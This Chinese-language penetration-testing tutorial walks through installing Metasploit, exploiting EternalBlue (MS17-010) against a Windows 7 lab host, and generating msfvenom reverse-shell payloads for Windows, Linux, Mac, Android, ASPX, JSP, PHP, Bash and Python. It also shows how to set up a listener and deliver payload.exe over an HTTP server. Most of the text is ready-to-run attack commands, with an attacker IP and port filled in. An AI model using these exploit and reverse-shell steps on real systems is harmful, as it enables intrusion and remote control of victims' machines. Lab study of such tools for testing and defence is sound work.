内网安全系列-001-MSF安装与升级
Metasploit
Metasploit基础
Metasploit Framework(MSF) 是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
MSF的更新:msfupdate
Metasploit的安装和升级
在一般的linux中,默认是不安装MSF的。以下是在非kali的Linux下安装MSF框架。
安装步骤:
第一步:下载msfupdate.erb文件内容并写入msfinstall文件中
1 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >msfinstall |

第二步:修改msfinstall文件权限并执行文件
1 | chmod 755 msfinstall && ./msfinstall |

1 | root@iZ7xvdva5kuivb9u4oyw13Z:~/msf# chmod 755 msfinstall |
第三步:添加名为msf的用户
1 | adduser msf #添加msf用户 |

第四步:切换到msf所在目录并启动msf
1 | cd /opt/metasploit-framework/bin #切换到msf所在的目录 |

第五步:升级msf
1 | msfupdate |

操作汇总:
1 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >msfinstall && chmod 755 msfinstall && ./msfinstall |
MSF使用方法
实验环境说明:
| 资产类型 | IP地址 | 资产来源 | 资产角色 |
|---|---|---|---|
| windows7 | 192.168.244.134 | itellyou | 被攻击机器 |
| kali | 192.168.244.130 | kali 官方下载 | 攻击机器 |
| msf6 | 安装在kali上 | - | 攻击工具 |

使用步骤:
- 进入框架:msfconsole
- 使用search命令查找相关漏洞: search ms17-010
- 使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
- 使用info查看模块信息: info
- 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
- 查看模块需要配置的参数:show options
- 设置参数:set RHOST 192.168.125.138
- 攻击:exploit / run
- 后渗透阶段
search ms17-010的输出结果:

info命令输出结果:

show options:

run的运行结果:

windows 7:

不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。
我们也可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc 进行自动攻击!
msfvenom生成shellcode
普通生成
1 | msfvenom -p 有效载荷 -f 输出格式 -o 输出文件 |
编码生成
1 | msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e |
常用命令
1 | (base) kali@kali:~$ msfvenom --help |
msfvenom –list
| 支持的type | 作用 |
|---|---|
| payloads | 列出所有可用的payload |
| encoders | 列出所有的编码方式 |
| nops | 列出所有支持NOP指令的平台 |
| platforms | 查看支持系统平台 |
| archs | 查看支持的系统架构 |
| encrypt | 列出所有的加密方式 |
| formats | 列出所有的输出格式 |
| all | 查看所有 |
1 | (base) kali@kali:~$ msfvenom --list nops |
常见生成格式
windows
1 | msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -f exe -o payload.exe |
1 | msfvenom --platform windows -a x64 -p windows/meterpreter/reverse_tcp LHOST=192.168.244.130 LPORT=4445 -f exe -o payload.exe |
案例理解
MSF设置监听状态:
1 | use exploit/multi/handler |

使用msfvenom生成payload:
1 | msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.244.130 LPORT=4445 -f exe -o payload.exe |

在payload.exe所在的文件位置执行如下命令:
1 | python -m http.server 8080 |


双击执行payload.exe。
在kali上可以看到:
Linux
1 | msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf |
Mac
1 | msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho |
Android
1 | msfvenom -p android/meterpreter/reverse_tcp -o payload.apk |
ASPX
1 | msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx |
JSP
1 | msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp |
PHP
1 | msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php |
Bash
1 | msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh |
Python
1 | msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py |